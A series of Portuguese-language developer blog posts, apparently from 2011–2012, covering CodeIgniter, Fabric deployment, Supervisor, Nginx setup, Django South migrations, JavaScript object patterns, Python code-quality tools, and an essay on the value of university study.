Em comparação à CakePHP ou à Zend Framework, a verdade é que o CodeIgniter é relativamente “seco”. Ou seja, temos menos “recursos mágicos” e somos obrigados a por a “mão na massa de verdade” em algumas situações. Embora isso seja encarado como um ponto negativo por alguns, essa característica acaba resultando em maior performance e simplicidade.

Performance

A partir da versão 2.0, o CodeIgniter deixou de dar suporte ao PHP 4, o que alavancou a sua performance (já que não é mais necessário criar fallbacks para os recursos do PHP 5). Essa decisão permite que o framework rume cada vez mais para o caminho da Orientação a Objetos, e que torne a nossa vida cada dia mais simples :)

E performance é uma das qualidades e diferenciais do CodeIgniter. Segundo o benchmark realizado por Leng Sheng Hong, o CodeIgniter fica atrás apenas do (também excelente) DooPHP:

Comparativo entre Frameworks PHP

Em tempos onde performance e disponibilidade são premissas, e não mais diferenciais, ter uma boa ferramenta ao seu lado facilita muito o trabalho de atender a essas expectativas.

Simplicidade

Essa qualidade eu descobri recentemente, quando tive que usar a SDK do Facebook para desenvolver uma aplicação social com o CodeIgniter.

Foi tão simples quanto jogar a classe como uma biblioteca, fazer alguns ajustes de nomenclatura e construção, e pronto! Estava pronta para usar, dentro da estrutura e fluxo do CodeIgniter.

Estender o framework é simples e prático. Escrever hooks e helpers é tão natural quanto escrever funções. Essa simplicidade vem aliada a uma coleção de features prontas disponíveis com o core do framework. Também vale mencionar a facilidade de configuração e instalação.

Considerações finais

Se você procura um framework PHP simples, que não seja tão “mágico” e que permita para você um trabalho descomplicado com o MVC, recomendo CodeIgniter.

É claro que ele tem algumas desvantagens se comparado a outros frameworks do mercado. Por exemplo, acredito que o desenvolvimento com o CakePHP seja mais ágil e fácil se comparado ao CI (é claro, isso tem um custo na performance e tamanho). Mas com a versão 2.x, é visível que a ferramenta está caminhando para um desenvolvimento de alto nível.

Automatize o deploy dos seus projetos com Fabric

Sun, 26 Feb 2012 19:40:13 GMT

Durante a minha árdua trajetória com o PHP, sempre fiz “subidas” de projetos utilizando um cliente FTP. Um processo manual, extremamente repetitivo (e chato).

Já com Python, pude utilizar o SSH, que me proporcionou maior agilidade e liberdade dentro do ambiente de produção. Mas que não deixou de ser um processo manual, extremamente repetitivo, chato e muito suscetível a falhas.

Foi utilizando o Django que conheci o Fabric, e percebi quanto tempo podemos economizar automatizando o processo de deploy de nossos projetos.

O agile e o deploy contínuo

Todo e qualquer procedimento de upload do seu projeto para o ambiente de produção corre algum tipo de risco. Com o deploy automatizado, a tendência é que este risco seja reduzido, e que você possa fazer a entrega do seu projeto para diversos ambientes com o menor esforço possível.

Logo, não consigo imaginar um cenário eficiente de deploy contínuo, sem a utilização de alguma ferramenta de automatização. É através destas que respeitamos uma das premissas do agile, e diminuímos a incidência de falha humana.

Mas o que é o Fabric?

O Fabric é uma lib Python, e ferramenta de linha de comando, para auxiliá-lo em seu deploy e na administração remota dos seus sistemas.

Embora seja feita em Python, pode ser utilizada em projetos escritos em qualquer linguagem. Equivale ao Capistrano, alternativa mais famosa, escrita em Ruby.

Em casa de ferreiro, espeto de ferro

Para dar um exemplo de uso do Fabric, podemos utilizar o esquema de deploy deste blog. Sim! O processo está automatizado, e você pode conferí-lo no BitBucket.

Antes de mais nada, é necessário ter o Fabric instalado:

$ pip install fabric

Todo o procedimento será escrito em um arquivo chamado fabfile.py. Com o comando fab, a ferramenta carregará este arquivo e permitirá a execução de todos os métodos públicos definidos dentro dele.

Vamos listar todos os métodos que criei no fabfile.py do blog:

$ fab -l

Available commands:

bootstrap            Initialize remote host environment.
collect_static       Collect all static files from Django apps and copy ...
create_virtualenv    Setup virtualenv on remote host.
database_restart     Restart the database server on remote server.
deploy               Send the code to the remote host.
http_restart         Restart the HTTP server on remote server.
migrate              Execute South on remote host, to update the databas...
production           Use production environment on remote host.
staging              Use staging environment on remote host.
syncdb               Execute syncdb on remote host.
update_apache_conf   Move apache and fastcgi files to the public html.
update_requirements  Update Python dependencies on remote host.

Como é possível notar na listagem acima, temos operações de deploy (deploy, syncdb, update_requirements e updateapacheconf) e operações de administração remota (database_restart, http_restart, migrate, etc). Os métodos production e staging são basicamente para “setar” para qual ambiente o deploy será realizado. Por exemplo, a cada nova subida de release, executo o seguinte comando:

$ fab production deploy http_restart

Onde basicamente:

Defino o usuário, IP, e paths para o ambiente de produção através do método production.
Executo o envio dos arquivos através de Rsync para o servidor, com o método deploy.
Reinicio o Apache através do método http_restart.

Se olharmos atentamente o método deploy, utilizamos uma lib (importada no início do arquivo) chamada rsync_project. Que corresponde a ferramenta de linha de comando (encontrada em sistemas baseados em Unix) chamada rsync. O que o Fabric faz (com maestria) é “abstrair” essas operações para que possamos fazer os nossos procedimentos através de uma interface simples (outros comandos, como scp e sudo também são utilizados pelo Fabric).

A função run faz grande parte da magia acontecer. Com ela, abrimos uma conexão SSH com o nosso servidor, e executamos comandos como se estívessemos em um terminal. Extremamente útil para fazer restart de serviços, escalonamento de logs, limpeza de temporários, etc.

Considerações finais

O Fabric é muito simples de usar. Lendo o básico da documentação, já somos capazes de automatizar os processos mais triviais.

Recomendo o fabfile.py da Caktus Consulting Group. Simples e bem escrito, foi nele que me baseei para escrever o script apresentado neste post.

Referências

Graduação não é só diploma

Tue, 14 Feb 2012 23:21:39 GMT

Se eu fizer o exercício proposto por Steve Jobs, de “ligar os pontos”, sou capaz de dizer que as melhores experiências profissionais da minha vida estão de alguma forma relacionadas com o ambiente acadêmico.

Graças ao curso técnico, tive a oportunidade de trabalhar com web desde o início da minha carreira. Já na graduação, pude conviver com pessoas muito mais inteligentes e interessantes que eu. Pessoas com um conhecimento e feeling sobre o mercado de Tecnologia da Informação, que fizeram toda a diferença na minha vida.

Também tive o prazer de trabalhar em duas empresas incubadas pelo Centro Universitário de Jaraguá do Sul (UNERJ). Nelas, tive a liberdade e oportunidade de explorar conceitos técnicos e de gestão, que não poderia exercer em hipótese alguma em outras empresas de porte maior.

São essas experiências, aliadas a um conjunto de valores, que me permitem escrever para você hoje como analista e desenvolvedor web da Globo.com. Uma empresa que acredita muito mais no que você pode mostrar, e não no que instituições de ensino têm a dizer a seu respeito.

E vejo esta tendência, de profissionais e instituições contestarem o valor da graduação, ganhar cada vez mais força. É fato que o diploma não garante que você será um bom profissional, somente a prática e experiência poderão certificar isso. Se olharmos para a história, veremos que pessoas como o próprio Steve Jobs, Bill Gates, Fábio Akita e Marco Gomes, nem sequer terminaram a graduação, e são hoje mais do que certificados, são empreendedores de sucesso e referências em suas áreas de atuação.

O ambiente acadêmico é sim muito rico e relevante, e como profissional formado estou certo que ele foi um dos responsáveis por me fazer chegar até aqui. Foi através da graduação que aprendi valores como “determinação” e “autodidatismo”, e aprendi a valorizar o networking e a troca de conhecimento. É certo que não desenvolveria estas qualidades fora deste ambiente, e num exercício de analisar o passado, sou capaz de concluir que as experiências (ou a trajetória) foram muito mais significativas do que o ato de receber o diploma em si.

Acredito que o problema de hoje é que o “canudo”, aquele “pedaço de papel” que garante que você está apto para o mercado de trabalho, virou nosso principal objetivo quando ingressamos em uma graduação. Deixamos que todo o caminho a ser trilhado e conhecimento a ser adquirido, seja encarado como um sacrifício, e não como uma oportunidade de crescimento.

Culpa das instituições de ensino, ou dos alunos? Não tenho a resposta para este questionamento. Mas, no fim das contas, a mensagem que quero passar para você é a seguinte: Aproveite ao máximo o ambiente acadêmico. Dificilmente em outras épocas da sua vida você terá tanto tempo e disposição para adquirir conhecimento. “Esprema” o máximo que puder dos seus professores e colegas, participe de projetos científicos, de atividades extracurriculares, empenhe-se em trabalhos e provas. Afinal, como diria o Scorpions, “no pain, no gain”.

E acima de tudo, faça o que você ama, e use a graduação para descobrir se é isto mesmo que você quer fazer na sua vida.

Esse artigo foi originalmente escrito para o jornal FolhaSC.

Supervisor: Aumentando a disponibilidade das suas aplicações Web

Mon, 23 Jan 2012 21:28:00 GMT

E se você pudesse controlar uma série de processos através de um comando? Ou de garantir que serviços “down” sejam reiniciados automaticamente? Ou ainda, agrupar seus serviços e poder reiniciá-los com um simples comando de terminal?

O Supervisor aparece para facilitar muito a vida de quem precisa administrar servidores web, e não tem muito tempo a perder com criação de rotinas, ou mesmo com trabalho manual.

Afinal, o que é o Supervisor?

A proposta do Supervisor é simples: permitir que usuários possam controlar e monitorar processos (e grupos de processos) em um sistema Unix-like.

Em suma, o Supervisor é um programa escrito em Python, capaz de iniciar, reiniciar e parar outros programas. Mas, o que me chamou mais a atenção, é que ele é capaz de reiniciar programas “crashados” automaticamente.

Isso é possível pois, por baixo dos panos, o Supervisor é um serviço que inicia todos os demais como subprocessos. Desse modo, é capaz de monitorar o estado dos mesmos, e numa eventual “queda”, reiniciar um determinado processo/serviço imediatamente.

Ou seja, funciona como uma ferramenta centralizadora e de monitoramento. E que ainda serve uma API para gerenciamento remoto, através de XML-RPC.

Instalar para administrar

Para instalar, basta utilizar o pip:

$ pip install supervisor

Vamos gerar um arquivo de configuração básico:

$ echo_supervisord_conf > /etc/supervisord.conf

Vamos aproveitar que falamos recentemente sobre a instalação do Nginx, para demonstrar o princípio do Supervisor. Adicione as seguintes linhas ao arquivo /etc/supervisord.conf:

[program:nginx]
command=/usr/local/nginx/sbin/nginx

Agora iniciamos o serviço do Supervisor:

$ supervisord

E através do supervisorctl, vamos iniciar e parar o Nginx:

$ supervisorctl start all
nginx: started

$ ps aux | grep nginx
root      1863  0.0  0.1 (...) /usr/local/nginx/sbin/nginx

$ supervisorctl stop nginx
nginx: stopped

E agora, o “pulo do gato”. Com o Nginx iniciado via Supervisor, vamos fechá-lo através de um comando kill:

$ supervisorctl start nginx
nginx: started

$ killall nginx

$ ps aux | grep nginx
root      1917  0.0  0.1 (...) /usr/local/nginx/sbin/nginx

Magia? Que nada! É a ferramenta garantindo que os nossos processos não fiquem “down”. Brandon Konkle e Senko Rasic possuem exemplos utilizando um cenário real com Django e Nginx.

Considerações finais

Embora o Supervisor seja uma ferramenta espetacular, acredito que muitos profissionais já possuam intimidade com os seus servidores, bem como já tenham construído sets de scripts, e atalhos em geral. Isso, de fato, faz a gente questionar a utilidade dela.

A possibilidade de monitorar e garantir a disponibilidade dos processos foi o que mais me agradou. Se você tem “poderes administrativos” na sua hospedagem, talvez o Supervisor seja a ferramenta que faltava para você possa dormir mais tranquilo.

Referências

Nginx: Poderoso, rápido e fácil

Mon, 19 Dec 2011 20:41:00 GMT

Para quem (assim como eu) começou com o PHP, uma das opções mais viáveis para servir projetos na web sempre foi o Apache. Open source, prático e disponível em quase toda hospedagem de respeito (afinal, ele vem por padrão em quase toda distro Linux), há anos que ele faz a famosa tríade "AMP" (Apache, MySQL e PHP).

Acontece que com as demandas recentes que a internet tem exigido de algumas aplicações web (como Twitter e Facebook), a necessidade por performance começou a ser uma grande premissa em determinados tipos de projetos. E é apoiado nesse cenário que o Nginx vem ganhando cada vez mais força no mercado. Afinal, não é a toa que ele é conhecido por “aguentar porrada”.

A verdade sobre o Nginx (ou não)

O Nginx é um servidor Web, proxy reverso, proxy balanceador de carga, e faz praticamente tudo que o Apache faz, só que muito mais rápido!

Técnicamente, o Nginx consome menos memória que o Apache, pois lida com requisições web através do conceito de “event-based web server“, já o Apache é baseado no conceito “process-based server“. David E. Chen faz uma excelente analogia entre os dois conceitos em seu artigo “Explain “Event-Driven” Web Servers to Your Grandma“.

Eles não são necessariamente “concorrentes”, Apache e Nginx podem trabalhar juntos! Paulo Higa, através do seu artigo “Usando Nginx como proxy reverso e diminuindo o consumo do servidor“, nos mostra como ele diminuiu o consumo de memória do Apache fazendo com que as requisições web passassem primeiro pelo Nginx. Desse modo, o Apache não precisou servir arquivos estáticos, e pode depender do bom controle de cache feito pelo Nginx.

Bom, a intenção não é denegrir a imagem do Apache (até parece que um simples mortal como eu conseguiria tal feito), então vamos adiante.

Fácil?! Instalando e sendo bem recebido

Estou utilizando o Slackware 13.37 para realizar os procedimentos abaixo, mas acredito que eles possam ser executados em qualquer distribuição Linux, sem maiores problemas.

Vamos começar fazendo o download da versão mais recente (até então), direto do site oficial do Nginx:

$ wget http://nginx.org/download/nginx-1.0.11.tar.gz

O procedimento de instalação não difere em nada do método tradicional que estamos acostumados no Linux. Apenas lembre-se de executar o make install como root:

$ tar -zxvf nginx-1.0.11.tar.gz; cd nginx-1.0.11
$ ./configure
$ make
$ make install

O Nginx será instalado em /usr/local/nginx/. Você pode iniciar o serviço através do comando (como root):

$ /usr/local/nginx/sbin/nginx

Acessando o seu localhost, o serviço estará pronto e dando boas vindas!

Configurando um servidor simples

Para homenagear o nosso amigo Apache, vamos fazer o Nginx servir um HTML com a clássica mensagem “It works“, em outra porta e path.

Abra (como root) o arquivo /usr/local/nginx/conf/nginx.conf, no final do arquivo, adicione a seguinte expressão antes do fechamento das chaves:

include example;

Esta expressão importará o arquivo /usr/local/nginx/conf/example, que criaremos a seguir:

server {
    listen        127.0.0.1:8080;
    server_name   example;
    access_log    /usr/local/nginx/logs/example.access.log;
    error_log     /usr/local/nginx/logs/example.error.log;
    location / {
        root  /var/www/example;
        index index.html index.htm;
    }
}

Intuitivo não?! Vamos criar o path onde armazenaremos o HTML:

mkdir /var/www/example
echo "It works! " > /var/www/example/index.html

Basta acessar o endereço localhost:8080, e pronto!

Como é possível perceber, os arquivos de configuração do Nginx são simples e intuitivos. Existem várias referências na web ensinando a montar proxy reverso, servir páginas dinâmicas com FastCGI ou WSGI, utilizar SSL, etc. Nada que o bom amigo Google não possa resolver.

Considerações finais

Quer dizer que agora eu tenho que largar tudo e correr para utilizar o Nginx? A resposta é não.

Gosto dos ensinamentos do pessoal da 37Signals, e um deles é para deixarmos a preocupação com performance para quando isto for realmente um problema (caso contrário, ninguém começaria projetos em Ruby ou Python).

Portanto, se você tem um blog em WordPress servido através de um Apache... deixe estar. Garanto que o Apache é a melhor solução para você neste momento. E caso você venha a ter problemas com performance, garanto que instalar e configurar um Nginx dentro da sua infraestrutura será o menor dos seus problemas.

Referências

Migrations em Django com South

Sun, 20 Nov 2011 21:35:00 GMT

E quem nunca precisou adicionar ou remover alguma coluna, nas tabelas do seu banco de dados, depois que a aplicação já estava em produção? Os riscos existem (e são altos), e podem ser diminuidos através de processos automatizados.

Em um mundo ideal, o procedimento de deploy (para entregas contínuas) deve ser automatizado. Com o South, “migrar” a estrutura e os dados da sua base de dados para a versão presente em seu novo deploy, é simples, prático e 100% integrado ao Django.

Instalando o South

O South é muito, mas muito simples de instalar. Utilizando o pip, basta o seguinte comando para termos os eggs em nosso PYTHONPATH:

$ pip install south

Não podemos esquecer de adicioná-lo ao INSTALLED_APPS do settings.py (afinal, trata-se de uma app Django):

INSTALLED_APPS = (
    'django.contrib.auth',
    ...
    'south',
)

Pronto! Você acabou de ganhar alguns comandos para construir as suas migrations.

Direto para a prática

Sem perder tempo, vamos construir uma app Django para que possamos demonstrar o uso do South:

$ python manage.py startapp blog

Lembrando de adicioná-la ao settings.py:

# settings.py
INSTALLED_APPS = (
    'django.contrib.auth',
    ...
    'south',
    'blog',
)

Vamos criar um modelo bem básico, com alguns campos (posteriormente, incrementaremos esta estrutura):

# blog/models.py
from django.db import models

class Blog(models.Model):
    titulo = models.CharField('Titulo', max_length=100)
    texto = models.TextField('Texto')

Através do comando schemamigration, com parâmetro –-initial, criaremos a nossa primeira migration:

$ python manage.py schemamigration blog --initial

Vale notar que o comando acima não cria nenhuma tabela no banco de dados. O que ele faz é criar um conjunto de instruções que representa este modelo. Na medida que são feitas alterações no modelo, é necessário gerar novas migrations, que serão sempre baseados nas estruturas já criadas.

Por exemplo, vamos de fato criar a tabela blog no banco de dados:

$ python manage.py migrate blog

Running migrations for blog:
- blog:0001_initial
- Loading initial data for blog.
No fixtures found.

Se houvesse alguma fixture, o South faria o insert das informações para você.

A primeira migration foi criada. Como mencionado antes, a partir de agora toda migration criada será baseada na migration “anterior” (podemos deduzir a ordem das migrations através do prefixo numérico, no caso acima, o 0001 indica que esta é a primeira).

Vamos adicionar um campo no modelo (que equivale a uma coluna no banco de dados), para ilustrar a criação de novas migrations:

# blog/models.py

class Blog(models.Model):
    titulo = models.CharField('Titulo', max_length=100)
    resumo = models.TextField('Resumo', blank=True, null=True)
    texto = models.TextField('Texto')

Não é mais necessário o uso do parâmetro -–initial, de agora em diante precisaremos do parâmetro –-auto (que construirá a migration automaticamente, de acordo com a primeira já existente):

$ python manage.py schemamigration blog --auto

+ Added field resumo on blog.Blog
Created 0002_auto__add_field_blog_resumo.py. You can now apply this migration
with: ./manage.py migrate blog

Pronto! Uma nova migration foi criada… e com um nome bem intuitivo (repare no prefixo numérico). Basta darmos a ordem de replicar estas instruções no banco de dados:

$ python manage.py migrate blog

Running migrations for blog:
- Migrating forwards to 0002_auto__add_field_blog_resumo.
- blog:0002_auto__add_field_blog_resumo
- Loading initial data for blog.
No fixtures found.

A nova coluna foi inserida na tabela blog, sem necessitar de nenhuma intervenção manual. Se você ficou curioso para saber como essa “mágica” acontece, basta abrir as migrations e ver que são instruções escritas em Python, que interagem com o banco de dados “por trás” do ORM do Django.

O South possui mais alguns recursos interessantes (como data migrations), que você pode conferir neste tutorial.

Referências

South – Intelligent schema and data migrations for Django

Javascript: A diferença entre Constructor Function e Object Literal

Sun, 23 Oct 2011 15:07:00 GMT

Meses atrás, escrevi sobre como era fácil criar objetos em Javascript. Devo confessar que, a minha visão sobre a utilização da Orientação a Objetos em Javascript era muito superficial, e que uma dúvida muito pertinente surgiu na época: Onde usar object literal e onde usar classes?

Hoje, depois de entender que a Orientação a Objetos no Javascript não é muito diferente da utilizada em outras linguagens, sou capaz de enxergar as possibilidades utilizando as duas maneiras. E este é o objetivo deste post: compartilhar esta visão com vocês.

Traçando um paralelo

O Nettuts fez um ótimo post comparando as diferenças entre os dois métodos de criação de objetos (este artigo é fortemente baseado na publicação deles). Vamos adotar a estratégia deles e criar estruturas semelhantes utilizando object literal e constructors:

var object_literal = {
  Automovel: {
    quantidadeRodas: 4,
  },
};

var constructor = {
  Automovel: function() {
    this.quantidadeRodas = 4;
  },
};

Acima já reparamos numa das maiores vantagens do object literal: criar namespaces. Isolamos as duas declarações para que possamos usar os mesmos nomes:

// object literal
var carro = object_literal.Automovel;
console.log("quantidade de rodas:", carro.quantidadeRodas); // 4

// constructor function
var carro = new constructor.Automovel();
console.log("quantidade de rodas:", carro.quantidadeRodas); // 4

Acessar quantidadeRodas de object_literal.Automovel é muito mais fácil do que de constructor.Automovel. Não é errado dizer que quantidadeRodas de constructor.Automovel é um “atributo de instância”, logo, é necessário criar uma instância da classe para acessá-lo.

Os métodos entram em ação

Vamos atribuir aos nossos automóveis a capacidade de ligarMotor:

var object_literal = {
  Automovel: {
    quantidadeRodas: 4,
    motorLigado: false,

    ligarMotor: function() {
      //object_literal.Automovel.motorLigado = true;
      this.motorLigado = true;
    },
  },
};

var constructor = {
  Automovel: function() {
    this.quantidadeRodas = 4;
    this.motorLigado = false;
  },
};

constructor.Automovel.prototype.ligarMotor = function() {
  this.motorLigado = true;
};

Aqui que as diferenças começam a ficar mais “gritantes”.

Por não conseguirmos criar uma instância de um object literal (afinal de contas, ele já é um objeto), ~~não conseguimos fazer uma referência this como em classes~~ não temos a definição de atributos e métodos via Prototype. ~~Se o fizéssemos, estaríamos explorando atributos da função anônima associada à propriedade ligarMotor, da propriedade Automovel, da variável object_literal~~. Mas, conseguimos sim explorar atributos e métodos do objeto através do this. O mesmo ocorre em ligarMotor de constructor, o this é capaz de acessar os valores e métodos nas instâncias de Automovel:

// object literal
carro.ligarMotor();
console.log("motor ligado:", carro.motorLigado); // true

// constructor function
carro.ligarMotor();
console.log("motor ligado:", carro.motorLigado); // true

Atributos diferentes para instâncias diferentes

Sabemos que um automóvel pode ter 2, 4, 6 ou até 8 rodas, então vamos adaptá-los:

var constructor = {
  Automovel: function(qtndRodas) {
    this.quantidadeRodas = qtndRodas;
    this.motorLigado = false;
  },
};

Ué?! Mas e o object literal? Pois é.. como ele não pode gerar instâncias (novamente, ele já é um objeto), temos que alterar “na mão”:

// object literal
var moto = object_literal.Automovel;
moto.quantidadeRodas = 2;
console.log("quantidade de rodas (moto):", moto.quantidadeRodas); // 2

// constructor function
var moto = new constructor.Automovel(2);
console.log("quantidade de rodas (moto):", moto.quantidadeRodas); // 2

Só por curiosidade, como estarão os nossos objetos carro? (Lá vem a pegadinha =P )

// object literal
console.log("quantidade de rodas (carro):", carro.quantidadeRodas); // 2

// constructor function
console.log("quantidade de rodas (carro):", carro.quantidadeRodas); // 4

Pelo lado da instância de constructor.Automovel, nenhuma surpresa. Mas o que aconteceu com o valor do atributo quantidadeRodas da variável carro em object_literal.Automovel?

Instâncias x Referências

A grosso modo, com uso de constructor functions, criamos uma “estrutura” (classe), que a cada new é “copiada” para um novo espaço na memória (instância). Assim, a propriedade quantidadeRodas de moto é diferente da propriedade de mesmo nome, da instância carro (leia mais sobre instâncias e classes):

// constructor function
console.log("carro == moto:", carro == moto); // false

Já com object literal, não temos a capacidade de criar uma classe. Criamos diretamente uma instância, e vinculamos o espaço na memória onde esta foi criada à uma variável. No nosso caso, a variável em questão é object_literal.Automovel.

Quando atribuímos object_literal.Automovel à variável carro e depois à variável moto, na verdade estávamos criando referências a instânca contida em object_literal.Automovel (ou seja, as três variáveis correspondem ao mesmo endereço e valor na memória):

// object literal
console.log("carro == moto:", carro == moto); // true

Portanto, se eu criar uma variável chamada moto2 e atribuir a ela a instância de constructor.Automovel contida em moto, terei o mesmo resultado que acima:

// constructor function
var moto2 = moto;
moto2.quantidadeRodas = 3;
console.log("quantidade de rodas (instancia carro):", carro.quantidadeRodas); // 4
console.log("quantidade de rodas (instancia moto):", moto.quantidadeRodas); // 3
console.log("quantidade de rodas (referencia moto2):", moto2.quantidadeRodas); // 3
console.log("moto == moto2:", moto == moto2); // true

Interessante, não?

Considerações finais

Uma vez descobrindo a diferença entre object literal e constructor function, notamos que não há diferenças conceituais em relação a linguagens como Python, C++ ou Java. Basta termos em mente que o tipo de escrita, através da prototype, é diferente (e mais dinâmica) do que o usual, mas os resultados são (conceitualmente falando) praticamente os mesmos.

Então, quando você tiver um tipo que possuirá várias instâncias, utilize constructor functions. Quando quiser criar objetos “estáticos”, que não sofrerão alterações no decorrer de uma execução (como o exemplo do namespace), utilize object literal.

Referências

O exemplo completo está disponível para download em: https://github.com/kplaube/post-javascript-object-literal-constructors

Até a próxima…

Assegure a qualidade do seu código Python - Clone Digger

Sun, 16 Oct 2011 22:10:00 GMT

Mesmo que você possa verificar a qualidade do seu código com pep8, Pylint e Pyflakes, uma das virtudes de um projeto de software é não possuir código duplicado (leia mais sobre DRY). O fato é que tanto intencionalmente como propositalmente, podemos duplicar um trecho de código e acabar prejudicando manutenções futuras (atire a primeira pedra quem nunca deu aquele CTRL+C e CTRL+V, e prometeu um refactoring depois).

Para facilitar a busca por código duplicado, podemos utilizar uma ferramenta chamada Clone Digger. Prático, rápido e muito simples. Agora ficou fácil “caçar” código duplicado em projetos Python.

Na prática

Por tratar-se de uma ferramenta bem objetiva, não há muito o que falar sobre o Clone Digger. Então, vamos direto para a parte prática.

Para iniciar a análise, basta chamar o executável apontando para o diretório do seu projeto:

$ clonedigger meuprojeto/

Será gerado um arquivo chamado output.html, com um relatório detalhado (como este). Serão apresentadas informações como a quantidade de arquivos analisados, quantidade de “clones”, de linhas duplicadas e um apontamento com os trechos de código que a ferramenta concluiu como “clones” (não necessariamente iguais, mas semelhantes).

Particularmente, a ferramenta me ajuda bastante a determinar se certos trechos de código não poderiam ser herdados por uma classe pai, ou algumas rotinas costumeiras não poderiam ser encapsuladas em funções.

Referências

Até a próxima…

Assegure a qualidade do seu código Python - Pyflakes

Sun, 02 Oct 2011 17:58:00 GMT

Depois da dar uma pincelada na pep8 e no Pylint, chegou a hora de falarmos um pouco sobre o Pyflakes.

Resumidamente, o Pyflakes é uma ferramenta de qualidade que analisa o seu código Python atrás de erros (de sintaxe e importação, por exemplo), retornando um relatório muito objetivo com o arquivo, linha e o tipo de incoerência que ele encontrou.

Uma excelente ferramenta para você ter “plugada” ao seu editor favorito.

O que o Pyflakes faz que o Pylint não faz?

As comparações, acredito, serão inevitáveis. Afinal, o que o Pyflakes faz que o Pylint não faz? A resposta que você encontrará é muito simples: O Pyflakes não analisa a “beleza” do seu código. Ou seja, ele apenas verifica erros de lógica e de sintaxe, não de convenções de código.

Isso faz do Pyflakes o parceiro ideal do seu editor de código favorito. Por ser objetivo, favorece a análise e traz resultados interessantes, por exemplo, apontando variáveis criadas que nunca foram usadas, ou métodos importados que nunca foram chamados no escopo de um módulo Python.

Logo, ter as duas ferramentas à mão é uma excelente pedida para incrementar ainda mais o seu ambiente de desenvolvimento.

Na prática

Vamos analisar o código de um projeto da faculdade que eu fiz, chamado Social portal for soccer players (encontra-se aberto no BitBucket):

$ pyflakes apps/notificate/views.py

A resposta é muito clara. Existem classes sendo importadas, mas que não estão sendo usadas:

apps/notificate/views.py:3: 'EmptyPage' imported but unused
apps/notificate/views.py:3: 'InvalidPage' imported but unused

O funcionamento básico do Pyflakes é esse… simples como as melhores coisas devem ser!

Pyflakes + Vim

Se assim como eu, você tem um “tropeço” pelo vim, você não pode deixar passar esse bom plugin chamado pyflakes.vim.

Para instalá-lo, basta seguir o guia de instalação contido no arquivo README (leia diretamente do GitHub). Para que o plugin funcione corretamente, o seu vim deve ter suporte a Python (se não tiver, basta compilá-lo com o parâmetro -–enable-pythoninterp).

Uma vez instalado, quando estiver editando um código Python, basta utilizar o comando :cc para navegar entre os erros encontrados pelo plugin.

Referências

Até a próxima…

Assegure a qualidade do seu código Python - Pylint

Tue, 06 Sep 2011 17:48:00 GMT

Se você precisa de uma ferramenta mais poderosa que o pep8, talvez você precise do Pylint.

De forma (bem) resumida, o Pylint analisa de forma minuciosa o código do seu projeto Python, lhe retornando uma variedade de relatórios (as vezes, detalhistas até demais) sobre todo o tipo de problema que ele encontra. Indo de incoerências com a PEP 8, até nome de variáveis.

É sem dúvida, uma das melhores ferramentas feitas para o Python, e é essencial para você deixar o seu código mais próximo do “estado da arte”.

Mas o que eu achei mais legal sobre o Pylint, foi um comentário em sua documentação. O autor salienta muito bem que a ferramenta pode ser eficiente em certos contextos, mas não em todos. Então, antes de “pularmos de cabeça”, peço que você utilize o bom senso e saiba mensurar as suas necessidades em relação ao que a ferramenta tem a oferecer.

Na prática

Vamos testar as conformidades do arquivo site.py segundo o Pylint:

$ pylint /usr/lib/python2.7/dist-packages/site.py

O resultado pode parecer assustador. Então “vamos começar pelo começo”.

O resultado do Pylint é dividido em duas grandes seções: análise de código e relatório; O primeiro, como o nome sugere, apresenta uma análise de código bem semelhante a apresentada pelo pep8. Porém no seguinte formato:

MESSAGE_TYPE: LINE_NUM:[OBJECT:] MESSAGE

Vamos pegar a primeira linha gerada pelo Pylint para entender melhor:

C:  1: Missing docstring

C é o tipo da mensagem, 1 é o número da linha (no arquivo) onde o problema foi constatado, Missing docstring é a mensagem gerada. O Pylint poderá apresentar os seguintes tipos de mensagens:

[R]efactor for a "good practice" metric violation
[C]onvention for coding standard violation
[W]arning for stylistic problems, or minor programming issues
[E]rror for important programming issues (i.e. most probably bug)
[F]atal for errors which prevented further processing

Quase posso ver o brilho em seus olhos. A saída do Pylint deixou de ser enigmática, não?!

A segunda seção, a de relatório, apresentará alguns números interessantes sobre o seu projeto. Como o número de warnings e errors, uma nota para o seu projeto (e um comparativo com a execução anterior do Pylint), quantidade de código duplicado, quantidade de código documentado e “desenhará” uma árvore de dependências do seu projeto.

Diminuindo o ruído

Eu avisei que o Pylint era “barulhento”!

Vamos reduzir um pouco o nível de detalhes da ferramenta, passando alguns parâmetros:

$ pylint /usr/lib/python2.7/dist-packages/site.py --reports=n --include-ids=y --disable=W0232

Primeiro, com o parâmetro –-reports=n dizemos que não queremos aquele relatório gigantesco no final da análise. O –-include-ids=y exibe para gente os ids das mensagens de erros do Pylint. É útil, pois todas as mensagens que você julgar desnecessárias para a análise você adiciona no parâmetro -–disable (separadas por vírgula).

Para que não seja necessário passar todos esses parâmetros todas as vezes que executar o Pylint basta gerar um arquivo .pylintrc:

$ pylint --reports=n --include-ids=y --disable=W0232 --generate-rcfile > ~/.pylintrc

É possível gerar este arquivo por projeto, podendo mudar a especificidade das métricas de acordo com a necessidade. Quer saber mais? Leia este tutorial muito bom, direto da documentação do Pylint.

Para entender os códigos das mensagens, confira a listagem nesta wiki, ou utilize o parâmetro -–help-msg:

$ pylint --help-msg=R0904:

R0904: \*Too many public methods (%s/%s)\*
Used when class has too many public methods, try to reduce this to get a more
simple (and so easier to use) class. This message belongs to the design checker.

Referências

Até a próxima…

Assegure a qualidade do seu código Python - pep8

Fri, 26 Aug 2011 13:51:00 GMT

Convenções de código! Já tive a oportunidade de escrever sobre elas no Profissionais TI. Benção ou maldição? Há quem goste, há quem ache uma perda de tempo…

Acredito muito que a organização e a qualidade do código são benéficas para qualquer projeto, principalmente para aqueles que possuem alta rotatividade de profissionais. Padrões de projetos, padrões estruturais e de escrita facilitam a “assimilação” do que já foi produzido, facilita a manutenção e “orienta” as novas produções.

Se você tem problemas em decorar convenções e boas práticas, não desanime! O Python possui algumas ferramentas “bacanudas” que vão te auxiliar a deixar o software mais próximo do “estado da arte”, seja garantindo as convenções de código, seja avaliando a qualidade do mesmo.

Python Enhancement Proposals

As “PEPs“ (Python Enhancement Proposal) são documentos que geralmente abordam alguma nova funcionalidade da linguagem, propósitos, procedimentos ou ambiente. Em suma, são “guidelines” que te orientam num melhor uso da linguagem e suas funcionalidades, bem como podem ajudar em questões como arquitetura, ambiente ou processos de sua aplicação.

Para saber mais sobre PEPs, acesse a PEP 1 que é justamente um documento explicando o que são e o que fazem as Python Enhancement Proposals.

pep8

O pep8 é uma ferramenta simples (e muito eficaz) que analisa o seu código Python segundo as convenções de código descritas na PEP 8.

